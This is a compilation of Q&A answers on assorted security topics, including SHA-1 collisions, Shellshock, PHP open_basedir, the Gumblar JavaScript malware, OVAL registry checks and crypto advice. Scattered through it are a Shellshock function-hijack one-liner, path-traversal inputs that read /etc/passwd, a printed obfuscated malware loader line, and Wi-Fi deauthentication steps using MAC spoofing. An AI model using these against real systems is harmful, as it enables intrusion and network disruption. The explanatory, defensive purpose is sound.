How did the Shattered.io group manage to create a SHA1 collision for a PDF that is similar looking to the original?

The main idea behind this attack relies on Differential cryptanalysis.
You have two inputs t0 and t'0 with a difference of Δ0. Once these two inputs have gone through the function f (the compression function in the case of SHA-1) you get a difference Δ1 and so on (see following picture)...

The goal here is to find a difference in the input Δ0 such that after some iterations you get Δ2 = 0, in other words no difference.

the SHAttered Attack

Because of the Merkle–Damgård construction of SHA-1, one can choose to alter the differences between the iterations in order to improve the differences to match his needs. In the case of the SHAttered Attack, they chose an initial prefix (P), then later on the next blocks they introduce a difference (M1(1),M1(2)) and remove it (M2(1) and M2(2)). At this point they already have their collision. They just need to continue with the same following blocks (S), leading to a collision on the whole input.

SHA-1(P|| M1(1) || M2(1) || S)= SHA-1(P||M1(2) || M2(2) || S)

The values of M1(1), M1(1), M2(1) and M2(2) are as follows:

The difficulty is thus to find the correct Mi that satisfy the chosen prefix criteria P and that cancel themselves nicely afterwards. The probabilities of such to occur are really small, thus the need of massive amount of calls to SHA-1 compression function (263.1).

In the case of the provided PDFs, they also give a nice infographic which explain where the difference is located in the PDFs:


Is it poor practice to use the last 4 digits of a social security number as an identifier?

Never use SSN for authentication. They do not work for that, because they were not designed for  that.

While you should probably try to keep your own SSN secret, when designing a system you should consider all SSN's as public knowledge. The internet is littered with data dumps containing them. Your friends, family or employees of any institution you've handed yours out to has access to it. On top of that, they are to short to hash safely. It's about as bad as using your shoe size as password for everything.

This advice goes for all of your processes, including sign in, account recovery and interactions with customer support. It's best if you can avoid having to store them at all, unless you are willing to risk your own mini Equifax scandal.


PCI DSS - network design - users connect to internet via proxy; should we place it at the last hop or before firewall?

The perimeter protection for your environment will likely be your firewall so that'll be the first line of defence against the outside untrusted world. Your user network will likely be in a separate VLAN to the proxy server. This VLAN separation will likely be performed by a switch or a firewall. You proxy server may be a server or an appliance.

I'd see the set up as follows:

PC => proxy => firewall => internet


Even with the Shellshock patch, isn't Bash vulnerable to command redefinition?

In theory, yes. But then you also have problems with

LD_PRELOAD
LD_LIBARAY
BASH_ENV
etc.

The biggest problem with shellshock is that the name of the environment variable does not matter, bash would execute code in it even if you never call e.g. HTTP_COOKIES (who would do that btw?)

The attacker usually can only choose a part of the variable name, and it is unlikely (but not impossible) that a function/program with such a name is called.

E.g. If you restrict your git over SSH so they can only invoke git, then the attacker needs to define a environment variable git - and this shouldn't be possible.

Update: There is an other possible local privilege escalation:

You can hide commands even if they are called with the full path

env /bin/date='() { echo fail; }' bash -c /bin/date

Which can mess with system (and other) calls - and this is a problem for SUID executable which use one of that functions as root.


How to find out what programming language a website is built in?

There's no way to be 100% sure if you don't have access to the server, so it's about guessing. Here are some clues:

File extensions: login.php is most likely a PHP script.
HTTP headers: they may leak some information about the language which is running on the server, and some additional details like the version: X-Powered-By: PHP/7.0.0 means that the page was rendered by PHP.
HTTP Parameter Pollution: if you managed to guess which server is running, you can refine the guess.
Language limits: maximum post data, maximum number variable in GET and POST data, etc. It may be useful if the webmaster kept the default values.
Specific input: for example, PHP had some easter eggs.
Errors: triggering errors may also leak the language. Warning: Division by zero in /var/www/html/index.php on line 3 is PHP, for example.
File uploads: libraries may add metadata if the file is being modified server-side. For example, most sites resize users' avatars, and checking for EXIF data will leak CREATOR: gd-jpeg v1.0 (using IJG JPEG v90), default quality, which may help to guess which language is used.
Default filenames: Check if / and /index.php are the same page.
Exploits: reading a backup file, or executing arbitrary code on the server.
Open source: the website may have been open-sourced and is available somewhere on Internet.
About page: the webmaster may have thanked the language community in a "FAQ" or "About" page.
Jobs page: the development team may be recruiting, and they may have detailed the technologies they're using.
Social Engineering: ask the webmaster!
Public profiles: if you know who is working on the website (check LinkedIn and /humans.txt), you can check their public repos or their skills on online profiles (GitHub, LinkedIn, Twitter, ...).

You may also want to know if the website is built with a framework or a CMS, since this will give information about the language used:

URLs: directories and pages are specific to certain CMS. For example, if some resources are located in the /wp-content/ directory, it means that WordPress have been used.
Session cookies: name and format.
CSRF tokens: name and format.
Rendered HTML: for example: meta tags order, comments.

Note that all information coming from the server may be altered to trick you. You should always try to use multiple sources to validate your guess.


Folder Access restriction in Shared Hosting

If I understand you correctly, you are not trying to be a shared hosting provider, but you are using shared hosting, and want to restrict access for files inside one specific folder.

In that case, open_basedir would do exactly what you want.

If you are allowed to use .htaccess files, just create one in MyTargetFolder and put this line in it:

php_value open_basedir /var/www/

If you are not allowed to use .htaccess files, you would need to set the setting in every one of your PHP files inside MyTargetFolder:

ini_set("open_basedir", "/var/www/");

If you now have a PHP file in the folder with eg this line:

echo file_get_contents($_GET['x']);

A call to:

?x=../../../../../../etc/passwd

Would result in:

 Warning: file_get_contents(): open_basedir restriction in effect. File(../../../../../../etc/passwd) is not within the allowed path(s)

Please do note that remote files can still be accessed, eg:

?x=http://localhost/shell.php


How would iOS or Android app "firewall" for extended permissions (location, etc) work?

I can only speak for Android, I have no idea of iOS.

Granting permissions is (mostly) handled in the framework, while the Linux kernel and appropriate Linux-Users and Linux-Groups for each app ensure that the framework is not circumvented. Interesting internal APIs are mostly located in /frameworks/base within a regular Android source tree

In Android, the framework will take care of filtering requests on runtime, based on the permission model. The process is roughly as follows:

If an app uses the API to perform some protected operation (such as reading your current GPS location) the handler (in this case, the LocationManagerService) will check if the required permission has been available to the calling context (roughly: the app's manifest, which has been confirmed by the user while installing). If so, it will perform the action requested; if not, a SecurityException is thrown. Regular Linux kernel mechanics prevent apps from accessing ressources without using the suitable API (excluding, of course, apps running as root on a rooted device).

You can find a general overview article on the Android security features at the official documentation homepage. It is, however, not tied to permissions.


Accessing HSTS Server with an Unsupported Browser

The only thing the server does when it comes to HSTS is sending the Strict-Transport-Security header. Enforcing the policy - keeping track of which domain has HSTS, when it expires, making sure these are only accessed with HTTPS, etc. - is entierly the responsibility of the client (e.g. the browser).

So what happends when a non supporting browser visits a HSTS site? The browser sees a header it doesn't recognise, so it doesn't do anything with it. Then it continues doing what a browser does as if nothing happend. Of course the user of such a browser does not get any protection, but they don't get any compatibility problems either.

So there are no compatibility issues with HSTS, and you don't need to do anything extra for older browsers.


What are some examples of a block cipher's versatility over a stream cipher?

A block cipher is a key-indexed pseudo-random permutation on the space of blocks: for a given key K, AES maps 128-bit blocks to 128-bit blocks, such that no two distinct input block values are mapped to the same output block value. Knowledge of K allows efficient computation of the inverse permutation as well.

A block cipher can be used as a building element for various process, including (but not limited to):

symmetric encryption of arbitrary long messages, using various mode of operation;
hash functions, e.g. with Merkle–Damgård or some other constructions;
MAC algorithms, with (for instance) CBC-MAC;
generation of unique, pseudo-random, verifiable identifiers (my encrypting successive values of a counter in a given range).

A stream cipher is a specialized algorithm which covers only the "symmetric encryption of arbitrarily long messages" use case. The hope is that by restricting ourselves to that single usage, we may design a more efficient algorithm. The eSTREAM competition resulted in a portfolio of seemingly secure stream ciphers which indeed happen to be faster than AES-based encryption on a number of architectures (e.g. on a 2.4 GHz Core2 x86 CPU, I can do AES at 160 MBytes/s, while the Sosemanuk stream cipher reaches 700 MBytes/s on the same hardware).

Note, though, that "symmetric encryption only" is restrictive: in many situations where symmetric encryption is desirable, one should also add integrity checks, i.e. some sort of MAC. Stream ciphers don't do MAC, while there are authenticated encryption modes which allow to turn a block cipher into both encryption and a MAC, with relatively little overhead when compared to raw encryption (by the way, there is an ongoing competition for new AE modes, which received no less than 57 submissions, so we should have in the future some even better AE modes).

It has also been pointed out that there are encryption contexts where random access is desirable (e.g. hard disk encryption), and you get that with a block cipher in CTR mode, but not necessarily with a dedicated stream cipher.

To sum up, you should consider using a stream cipher in a new protocol only if you have a performance issue to solve, and the problem at hand happens to be within the limited scope of stream ciphers. This does not happen often. An example is when you need gigabytes of pseudo-random bytes (basically, when I need random bytes in huge quantities, I use Sosemanuk initialized with a key and IV from /dev/urandom).


I received an encrypted email attachment as a reply to a previous conversation, months later

You are correct to be suspicious. This fits a pattern of recent phishing styles and indicates that the account was compromised.

The easiest course of action is to call/text/IM the sender to confirm (just not email).


How to prevent information leak from a Javascript app?

The following process using Incognito Mode would be possible:

Load the page in Incognito window/tab
Disconnect (not just via the DevTool, more like pulling cables or shut down WiFi)
Do your SHA1 generation
Clean Up: Close the Incognito window/tab (to clear Cache&Cookies and stop eventually runnung JS script) This is important as the site might be able to upload some data asynchronously (after the reconnection)
Reconnect


Is there any public information on audited Java open source projects?

A code audit should only be considered a point in time audit, and should be not be considered a future guarantee. It is possible that some product has had an audit or review done by a third party and they may make that report available, but new techniques or different methods, timelines, and budgets could result in additional bugs being found later. In the end, they may not have found anything.

For legal reasons, you are unlikely to find anyone giving a guarantee, warranty, or otherwise on a code review. More useful would be a review of the development process for testing, controls, procedures, and ongoing reviews.

What you may be able to find is documentation of existing vulnerabilities and patches you can apply, reviews, discussions, etc. If you can verify the checksum/hash of a JAR obtained with the one provided form the developer this can give you some confidence. If it's a popular Open Source project, likely people would complain or post patches if a weakness or vulnerability is found. You may also gain some assurance from a signed-JAR. Would you sign something that you put a backdoor in as the original developer?

Also, very few open source licenses give any warranty and may not even guarantee any suitability. You need to take a calculated risk on the author of the code, the service providing the source or executable, and the requirements of the application. You should also have some reasonable assurance in your own environment's firewalls, AV, etc. to block or identify threats.

Lastly, most reviews are likely to be triggered from customization of open code, not from the base package.


Malicious JavaScript -- Troj/JSRedir -- Gumblar

j.src = "\x68\x74t\x70\x3a\x2f\x2f" + s1 + ".\x70\x65\x67\x75\x61r\x64\x73.cc\x2f\x38\x39d\x38\x31\x6207iq\x2f\x67\x65\x74.\x6a\x73";

The line above is trying to create a URL.

For http://security.stackexchange.com/ it creates

http://LnnDqsJvpDkZdfsqaekbbhr.peguards.cc/89d81b07iq/get.js

It then writes this URL to the website to redirect the users to the URL if the user clicks on it. The website seems like a malware website.


Is there any point to adding additional security inside SSL?

A bit opinion-based, but I'd say No.

If the NSA can read TLS because an error in the protocol and/or implementation: While TLS has and had problems, it also has the whole world using it. Homebrew solutions are unlikely to be better.
(To start with, This means that you're encrypting it twice with public key cryptography is wrong. TLS doesn't encrypt the whole data with a public-key-scheme. That would be insane.)

If the NSA can read TLS because they have enough compuation power to crack everything in a reasonable time: One or two times doesn't make much difference anymore.

If the NSA is using malware, bribes etc. to get access to certificates and/or directly inject something to Apache etc., another layer of transport encryption won't help.

And so on...


While the two can be used to achieve the same objective in some cases(in this case blocking flash ads) it's not intended to that, each one complement other but one can't do everything the other can. I will explain.

"Click to play" helps because: by blocking Java, Flash, SilverLight, Shockwave, Vlc plugin and more you stop a lot of tracking around the web that happens without you to see...you think that all flash that happens on a page are videos or iterative content? No, surprise you the ones that track you are well invisible to your naked eye(you can learn more about this seeing by yourself how much plugins leak data : Here and Here and Here ) also stops things that happens automatically and annoy you like videos, audio and etc and also make pages load faster on slow connections.

Unfortunately on most browsers you can't choose what you want to allow or not, your either allow flash or java for an entire page or you block it, so to see an video you wan't you will have to allow flash on this page, the same flash that plays your video will load the ads and track you if they want but it's better than allow that on every page on internet you visit. You would be surprised about how much sites ask Flash without a visible reason at all.

Adblockers helps because : it blocks the ads that also can track you and are obviously annoying, but ads can show in many ways including flash, java, just images and etc. Some Adblockers can block specific scripts used to delivery ads(not 8 or 80 as "click to play")

Thats why each one complement each other but can't replace other. I personally use Ublock Origin since it's open source work very well and others Adblockers had a few controversy in the past like phoning home and etc...it's available for all major browsers


Can deleting a non-inherited object more than once be exploited for code execution?

For basic types, such as long or array, I can't think of a way remote execution could be achieved. With classes, there are many options beyond virtual table. For example a member class may have a virtual table. A shared pointer could also be used, as it contains a pointer to destructor function. Other more exotic cases such as a destructor calling a function using a pointer could also happen and there probably are more. I would recommend taking such a bug seriously.


Server situated on two physical networks - Bad idea or not

I think I would tackle it in this manner:

  Why is there an existing separation of the physical networks?

By installing another NIC in the server and connecting it to the other network you are in effect bridging the networks, physically and via NetBIOS. This renders the whole point of keeping the networks separate essentially moot.

  What is the sensitivity / classification of the data stored on the server?

This would help determine what level of protection needs to be deployed to protect the data on the server.

If you do lose this battle (the cost for an additional network card is MUCH cheaper than a proper firewall / DMZ architecture) there are still a few things you can do to help reduce the risk such as configuring IPsec to only allow the specific ports & protocols required for specific individuals to access the information.

I know you asked for specific quotes from published sources, but I think they may be a bit difficult since this a fundamental security philosophy of "keep things separate - access to information on a need to know basis" type scenario.


Unassociated MACs in airodump-ng display

not sure how public we are trying to make the solutions, but figure this will be a buried question soon anyway once answered....but i greatly appreciate the help given and found and would like to return favor only way i know.

try change attacker MAC to same as victim router MAC then begin attack
https://security.stackexchange.com/a/72538 (related to problems w/deauth)
    (1)So do this:

    Disable mon0.
    Shut down wireless interface ifconfig wlan0 down (or whatever your interface is called).
    (my step) run: airmon-ng check -> kill NetworkManager PID (networkmanager fucks up hw ether mac change)
Set the attacker's MAC to your routers: ifconfig wlan0 hw ether TARGET_MAC.
    (this is where u do the monitor mode method)Reactivate interface, create new mon0 and do your deauth attack. It should work now. (Also make sure replay the deauth packet 3-4 times as for some reason sometimes a single death just won't work.)

(3)try When you enter monitor mode you can specify a channel like this: "airmon-ng start wlan0 x" where x is the channel number

(2)try alternative monitor mode method: https://security.stackexchange.com/a/135841

 ifconfig wlan0 down
 sudo iwconfig wlan0 mode monitor
 sudo ifconfig wlan0 up

This is can cause SIOCSIFHWADDR: Invalid argument error

 iwconfig wlan0 mode managed (to undo monitor mode & fix error)


Because REST is stateless the user would have to reenter username and password for every request

Is directly contradictory to

  The user provides the GUID for all other resources which needs authentication instead of username and password.

You can either:

A. send the password with every request, or
  B. don't send the password with every request.

But you will have to pick one.

Here's the ideal scenario. It's close to what you're describing:

The user logs in. Username, password, authentication token, whatever.
The server stores that authentication event server-side and creates a random token (GUID or whatever you want) to give to the client
When the client want to send his request, he also sends the token which identifies him to the server. It could be in a cookie, in the URL, in a form variable, in a separate header. Doesn't matter. Anywhere in the request is fine.
The server expires the token after it's no longer supposed to be used. Perhaps it's good for 5 minutes, perhaps it's good until it's been used for one operation. Perhaps it's good until it goes unused for 5 minutes. Whatever you want.


Is there such a thing as public key steganography

One of the draw backs of traditional steganography is that both parties need to exchange a secret key.

Don't infer from the implementation of one specific tool to the limits of steganography itself. Steganography is just the hiding of information within other data. It does not matter if the information you want to hide by itself are unencrypted, rot13, encrypted with a shared key or encrypted with PGP or similar.  This means you can encrypt a message with whatever encryption system you like and then hide the encrypted message using steganography.


Is Google using canvas fingerprinting for their ads?

If they are, those files aren't really evidence of it, they are just minified bundles of some of the CreateJS libraries.

  Both contain fillText and strokeText. What is going on here?

The CreateJS libraries are mainly used for canvas drawing, and there is a "private" function which will draw text, _drawTextLine. Those are the instances of fillText/strokeText you see.

  Why would Google need to draw text strings?

There are many possible reasons to draw text to a canvas. I don't know what you found these files being used with, but I suspect it is something that makes heavy use of canvas drawing. Perhaps some HTML5 ads?

If anyone competent were going to use fillText/strokeText for fingerprinting, I don't think they would load up a full canvas drawing library to draw some text, as I can't see it being very helpful for the actual difficult part of the image recognition code.


Password reset for AD RODC-specific krbtgt_xxxxx accounts

On the very bottom of this article
https://adsecurity.org/?p=3592

  If the RODC is configured to cache passwords, change the RODC’s krbtgt_###### account’s password on a regular basis (2x every year). Microsoft’s krbtgt change script is not geared for the RODC krbtgt account (the risk of changing the RODC krbtgt password is very low). In Active Directory Users and Computers, right-click on the krbtgt_###### and change the password (set it to pretty much anything, Windows should automatically set the password to a random value).

If you read the article, the krbtgt account on a RODC is similar to the one from the "real" domain (writable DC), just limited to several groups of users/computers, if it was set up correctly. So resetting RODC krbtgt-accounts also makes sense.

(I wonder why something like this is not built into AD. A checkbox somewhere, to enable auto-rotation of all those krbtgt accounts.... would be nice :) )


The protocol is insecure by definition as it needs to pass over a public open network for everything to operate flawlessly.

If you need private communications, use a secured web or email connection, or a call encryption app.  Note however that call encryption needs to be set up on both sides and the key (password) should be transmitted securely over another channel (like email).


Classifying risk associated with specific users

I don't believe there are any common standards which focus upon assigning risk levels to users specifically, but there are certainly elements of this task in almost all risk management methodologies. Primarily, you want to focus upon threat actors and impact sections, as essentially you're looking to produce a risk assessment based on the access a user has, what motivation they might have to be malicious, and what the impact of them compromising data on their systems might be.

Personally, I'd start with the OWASP Risk Rating Methodology, focusing primarily on the threat actor section and technical/business impact factors sections. You should also take a look at the Further Reading section of this article, which should give you plenty of options to choose from for alternative methods of risk classification.


Audio not playing on Android (Kitkat 4.4.2 on LG G Pro 2 D838) via HTTPS

I don't know how the audio playing is done on the device, but if an external application outside chrome is used for download the content, then the problem might be the use of SNI (Server Name Indication). Some Android applications still have problems with SNI, especially if they where built with Apaches HTTP client library.

But, your site requires SNI. That is, if you access the site with SNI you get the right certificate for frontend.xxxx, but without SNI you get the certificate for app.xxxx which does not match the used host name and thus is invalid for the connection.


Is it a good (or not harmful) idea to allow employees to use their company phones privately?

The typical concerns are about 3rd party tracking, malware, and information disclosure.

Apps can gather and transmit an incredible amount of data about the user and the phone. All this data might expose the company and its users to 3rd party analysis. There was a recent case where a secret military base was discovered because personnel were using the same running app, which tracked their runs around the base using GPS.

Without any controls over what's installed, it is possible for apps to contain or be a gateway for malware. Restricting apps to approved, well-known apps helps to prevent this problem.

When using any device for mixed purposes (personal/business) it can be difficult for people to keep its use consistent, which can lead to inappropriate sharing of information. It can also lead to company data being saved in personal accounts (their Apple ID/iCloud storage), which you have no control over, even if the person leaves your company.

Is all this bad? That's not for us to tell. You need to perform a risk assessment to determine if the risks are acceptable and the cost/benefit of allowing this freedom.

"But people could use their personal phone to do all this, too!" Yes, that's right. Restricting phone use helps to prevent inadvertent issues (mistakes) or "drift" in the separation of personal/business, which can cause problems for the company. How much of a benefit this is to you is a matter for your risk assessment.

Personally, I prefer to enforce different devices for different purposes so that people can remember what they are using the device for. And maybe one shouldn't post that whiteboard with future plans on Instagram...

I would also promote the idea of permitting certain personal apps on company devices so that their use can be risk assessed. Like Spotify. The risk is likely low, but the benefit in employee experience will be high. And the Security Dept doesn't become the "Department of 'No'". The goal is always to say "yes", but to do so responsibly.


Cinderella attack: A cyber-attack that disables security software by manipulating the network internal clock time so a security software license expires prematurely rendering the target network vulnerable to cyber-attack.

Extracted from the book: Cybersecurity Lexicon


Is there any authoritative classification of vulnerabilities?

You may review security testing frameworks and methodology; the group you mentioned falls under The Open Web Application Security Project® (OWASP).
https://owasp.org/www-project-top-ten/
For non-web control such as Human, Physical, Wireless, Telecommunications, and  Networks, you may consider the OSSTMM framework.
Both OWASP and OSSTMM are security testing methodologies; OWASP is considered BlackBox testing, whereas the OSSTMM is gray-box testing.
The vulnerabilites can be scored using for example

CVSS common vulnerabilities scoring system
CWSS common weakness scoring system
CWE Common Weakness Enumeration

Please note:
At the end of any of the testing practice of VAPT, you as tester need to include the scoring system in your report, so you can grantee unified understanding of the risk between you business owner the coming integrator.


This is a good question with a simple answer:

  Best practices cannot be applied in every situation.

The best practices of "don't tell the world what security algorithms you use" and also "don't expose your DB structure" exist as a possible fallback- just in case your code has a security flaw in it, it's much harder for someone to exploit it if they don't know how it works behind the scenes. Obviously both of these best practices directly conflict with Open Source, so you should just focus on not having security flaws in the first place. Fortunately, opening your source code will help with that.


Is running an OpenBSD in QEMU on an OpenBSD machine safe?

My understanding of the question is that you want to run a webserver and an ssh server only.

First, I'm not sure why you wouldn't be able to able to do this with securelevel set to 2.

Second, if you run qemu as a package/port and you use the kernel module you are adding a device, giving some superuser permissions and generally increasing the attack surface.  The time setting this up would be better spent on securing your webserver, perhaps in a chroot (not with the entire OS!).

The idea behind's OpenBSD's security is that you don't have to fuss with it very much and you can spend your time securing applications that run on top with it.  Almost always simplicity is the friend of security.  Unless you fall into some clearly defined need like tdammers suggested, it's best to hew as closely as possible to the default install with any needed configuration.


What does "windows_view" attribute of registry object in OVAL?

I've managed to understand what was wrong in my vision of this tag. OVALdi uses system architecture by default to read the registry. So it is expected behavior that my configs worked well and i saw no difference between x32 and x64 Windows. You will understand why in a moment.

In 64-bit Windows there is two registries. One for 64-bit keys (regedit.exe) and one for 32-bit keys (%systemroot%\syswow64\regedit.exe or C:\Windows\SysWOW64\regedit.exe for me). WOW6432Node is a mirror for x32 registry in x64 registry. So if you add key in SOFTWARE through x32 registry, you will see it in x64 registry in SOFTWARE\WOW6432Node (you may actually add key in WOW6432Node in x64 registry and see it in SOFTWARE of x32 registry afterwards which is pretty useful but i do not know if it is can actually break your registry somehow).

But what about OVAL and OVALdi?

If you use behavior windows_view="64_bit" you can read all keys in SOFTWARE (which is 64-bit on Windows x64) and all keys in WOW6432Node, so it is pretty much universal thing.

If you use behavior windows_view="32_bit" you can read all 32-bit keys in SOFTWARE (this is pretty much the content of WOW6432Node if you read it in 64-bit regedit). But you CAN NOT read x64 keys in this mode. Folder WOW6432Node in 32-bit registry contains the same 32-bit keys, not 64-bit keys.

And i have big example of usage here. There if four objects:

<objects>
    <registry_object xmlns="http://oval.mitre.org/XMLSchema/oval-definitions-5#windows" comment="x32 key" id="oval:d.u.ru-registry:obj:2019011" version="1">
        <behaviors windows_view="32_bit"/>
        <hive>HKEY_LOCAL_MACHINE</hive>
        <key>SOFTWARE\X32Application</key>
        <name>DisplayName</name>
    </registry_object>

    <registry_object xmlns="http://oval.mitre.org/XMLSchema/oval-definitions-5#windows" comment="x64 key" id="oval:d.u.ru-registry:obj:2019012" version="1">
        <behaviors windows_view="64_bit"/>
        <hive>HKEY_LOCAL_MACHINE</hive>
        <key>SOFTWARE\X64Application</key>
        <name>DisplayName</name>
    </registry_object>

    <registry_object xmlns="http://oval.mitre.org/XMLSchema/oval-definitions-5#windows" comment="x32 key trough x64 view" id="oval:d.u.ru-registry:obj:2019013" version="1">
        <behaviors windows_view="64_bit"/>
        <hive>HKEY_LOCAL_MACHINE</hive>
        <key>SOFTWARE\Wow6432Node\X32Application</key>
        <name>DisplayName</name>
    </registry_object>

    <registry_object xmlns="http://oval.mitre.org/XMLSchema/oval-definitions-5#windows" comment="x64 key trough x32 view (will not work)" id="oval:d.u.ru-registry:obj:2019014" version="1">
        <behaviors windows_view="32_bit"/>
        <hive>HKEY_LOCAL_MACHINE</hive>
        <key>SOFTWARE\Wow6432Node\X64Application</key>
        <name>DisplayName</name>
    </registry_object>
</objects>

And there is the output of OVALdi:

          <registry_item xmlns="http://oval.mitre.org/XMLSchema/oval-system-characteristics-5#windows" id="1">
            <hive>HKEY_LOCAL_MACHINE</hive>
            <key>SOFTWARE\X32Application</key>
            <name>DisplayName</name>
            <last_write_time datatype="int">132125660223754243</last_write_time>
            <type>reg_sz</type>
            <value>Application with x32 arch</value>
            <windows_view>32_bit</windows_view>
          </registry_item>

          <registry_item xmlns="http://oval.mitre.org/XMLSchema/oval-system-characteristics-5#windows" id="2">
            <hive>HKEY_LOCAL_MACHINE</hive>
            <key>SOFTWARE\X64Application</key>
            <name>DisplayName</name>
            <last_write_time datatype="int">132125651956984961</last_write_time>
            <type>reg_sz</type>
            <value>Application with x64 arch</value>
            <windows_view>64_bit</windows_view>
          </registry_item>

          <registry_item xmlns="http://oval.mitre.org/XMLSchema/oval-system-characteristics-5#windows" id="3">
            <hive>HKEY_LOCAL_MACHINE</hive>
            <key>SOFTWARE\Wow6432Node\X32Application</key>
            <name>DisplayName</name>
            <last_write_time datatype="int">132125660223754243</last_write_time>
            <type>reg_sz</type>
            <value>Application with x32 arch</value>
            <windows_view>64_bit</windows_view>
          </registry_item>

          <registry_item xmlns="http://oval.mitre.org/XMLSchema/oval-system-characteristics-5#windows" id="4" status="does not exist">
            <hive>HKEY_LOCAL_MACHINE</hive>
            <key status="does not exist"></key>
            <windows_view>32_bit</windows_view>
          </registry_item>

And for the last. What if i do not use behavior tag? There is no need to give additional outputs here. I will only collect the two results with <windows_view>64_bit</windows_view> tag.


This is a valid question. I believe the OS was originally created to be booted onto a CD/DVD and act as throw away media, that could be used in conjunction with a securely encrypted thumb drive for storage.

There are methods you could use, in fact LVM over LUKS encryption comes to mind (and sounds a lot like what you're asking for) for full system (minus boot partition of course) encryption to ensure the systems integrity and confidentiality (if made persistent) hasn't been compromised. It would also be possible to hash the USBs contents to check for possible tampering.

I imagine the reason this isn't implemented is that it increases the difficulty level for implementation significantly. The average Joe (the people this was originally created for) would probably give up before going through the trouble of encrypting volumes and such, I know that (at least for me) it was quite a pain to implement LVM on LUKs on my Arch system.

In any case, I probably wouldn't trust any media that you handed off to someone else, if you're relying on it to be secure. As far as you knowing your DVD hasn't been tampered with... well I could probably make one that looked just like yours fairly easily if I had direct access to it... Just a thought.

This all comes down to security in-depth, ease of use over security, how far you want to go with it and how paranoid you are about your potential threats.


You do not sanitize your user input, that by itself is considered bad practise. Although I don't think it can be exploited, perhaps the following code is considered more secure.

    <?php

      function x()
      {
         // what ever this function should do
      }

      function y()
      {
         // what ever this function should do
      }

      function z()
      {
         // what ever this function should do
      }

      $func = yourInputFilerFunction($_GET['cmd']);

      switch ($func) {
        case "x":
            x();
            break;
        case "y":
            y();
            break;
        case "z":
            z();
            break;
      }
    ?>

When the parameter 'cmd' is tampered with, the script will not do anything. In your case, the script will try to load a function based on the cmd variable.

If the function does not exist, PHP will throw an error and possibly discloses information about the system such as the internal path.


Can we determine how securely files are stored on a cloud storage service?

Cloud are external service providers: you do not have control on their system, you do not known their internal tools, policy, you do not know their employee.

The best bet is therefore to assume cloud is insecure and just encrypt the file before uploading them.

This way, from a confidentiality and integrity perspective, you are not bound to trust the cloud service provider, you are bound to trust the encryption software which can be far more opened and have received a lot more public scrutiny than any cloud provided tools.

From an availability perspective, I think it is reasonable to trust cloud service provider since data availability is precisely the core of their activity.

Therefore, by combining local data encryption + remote cloud storage, you would achieve the classical CIA security triad (Confidentiality, Integrity, Availability), which I guess should answer your question about cloud storage security :).


Why is BlueCoat proxy passing HTTPS communication to Google sites?

My guess is that your proxy administrator has turned off ssl-inspection for google domains because of an update of Chrome, and what ciphersuites it will attempt to use for google domains.

https://forums.bluecoat.com/forum/security-policy-enforcement-center/proxysg/37493-proxysg-is-offering-unknown-elliptic-curves-chrome-google-connect-failure

Unfortunately, bluecoat does not currently support the ciphers requested by Google Chrome, and the SSL connections fails.

One workaround, is to whitelist google sites from SSL-inspections - which in my opinion is bad. The other would be to turn off support for the new EC ciphers in Google Chrome.

This problem only affects Chrome - not other browsers.


Can malware affect storage devices lower than mbr

Can malware affect storage devices lower than MBR

Yes, it can.  Infection of firmware has been part of several APT (nation-state level) hacks, such as Stuxnet and Equation Group tools.

  Does malware commonly affect devices lower than the MBR

Commonly?  No, not yet, probably because targeting specific hardware is not as generic as targeting higher-level operating systems, and "common" malware wants to run widely.  You probably do not have to worry about it.


Authentication: Username (email) and password hashed together in one database field

As far as I can tell, this scheme doesn't make any sense.  As you've noted, you still need to store the plaintext email address for the user, so there isn't any significant security benefit to using the plaintext email and email + password + salt hash vs just using plaintext email and password + salt hash.

As I'm sure you've already noted, without the plaintext email (regardless of whether it's in the profile table or the login table) relying solely on a single hashed value of email + password + salt is infeasible (you would have to go through each row, getting the salt, computing the hash, seeing if it matched, if no match, getting the salt from the next row, computing the hash, seeing if it matched, etc, etc, etc...) and would be a security disaster, because it would allow an attacker to test the hashes for all users on the site with a single login attempt vs. only being able to test the hash for a specific user.

I don't see any good reason to do this.   It doesn't improve security, it does increase complexity, and the implementation is fraught with peril.  You should politely, but firmly push back on the client to follow standard best practices rather than trying to invent his own harebrained scheme.


Email/facebook account/internet protection service for private community

If everyone can agree to have a Facebook account, you may want to consider Facebook groups.

They can be private (join only via invitation, membership not publicly visible) and be quite large.
You can restrict posting so that the do not get "overcrowded" with posts.

A relative uses this for their "social help group".

See https://www.facebook.com/help/1629740080681586/


I think Soft Crypto (SSM- Software Security Module) uses a free defined master key. Which needs to be stored very securely in clear. Because the master key is responsible for encrypting all the other keys. Normally, as per my knowledge, some processors may have crypto storage in which this key might be stored. But it's not very secure.
When comes to the HSM, it has physical security which has a tamper-resistant secure vault for the master key. Whish SSM does not have. Also in HSM, the master key is generated by a true random number generator and to which no one has access.


Are "roll your own" crypto implementations really a concern for offline storage?

Yes. Less of a concern, sure, but what you are describing is a cipher-text-only attack. Absolutely and without a doubt still possible.

I want to split your question into two cases:

1) You write your own implementation of a standardized cipher.

Sure, in this case I agree with you: if you have made an implementation of an algorithm that's faithful to the spec, then your ciphertext by itself will be no easier to break than the ciphertext of any other compliant implementation.

I'd argue you're not really "rolling your own".

Being resistant to side-channel attacks is really more of "hardening" than "rolling your own"; every implementation anywhere could use more hardening. Always.

2) You invent your own cipher or algorithm

Here's where bad things happen. Generally, the attack is frequency analysis - for example if I know that your texts are written in English, then I can start analyzing your ciphertexts looking for patterns that match the distribution of letters in English. If your texts are in XML format, then I can look for the general structure of nested XML blocks, etc.

Never underestimate the cleverness of professional cryptanalysts. Also, never forget Schneier's Law:

  Anyone, from the most clueless amateur to the best cryptographer, can create an algorithm that he himself can't break.

Just because you can't break it, doesn't mean nobody can.


If some three-letter agency is after you, personally, then you are doomed. They already put a microphone in your home, maybe even a video camera with a good view on your screen and keyboard.

If the same three-letter agency does its job properly (and you should hope for it, since it is paid with your tax money), then knowing whether they bribed any given online service cannot be answered: a positive answer, one way or the other, would be a proof of incompetence of the said agency.

In any case, what makes you believe that a random guy on the Internet like me would be trustworthy ? There is no way that your question may find here an answer that you can count upon. Be rational in your paranoia !


GPG masterkey and subkey for encryption and signature and default keys

If you already have an SC and E keys, and you want to remove your C ("master") key to offline storage, then all you require is a new S key (SSK1 in your example). You do not need to create a new encryption subkey -- your existing one is just fine for this purpose.

  I then change password using gpg --edit-key $id passwd. According to some guides it should change the password to the subkeys, but I am not so sure about that, I think that this just changes password to the whole structure bounded to MK it is just that the structure with private MK stored offline has still the old password. Which is correct?

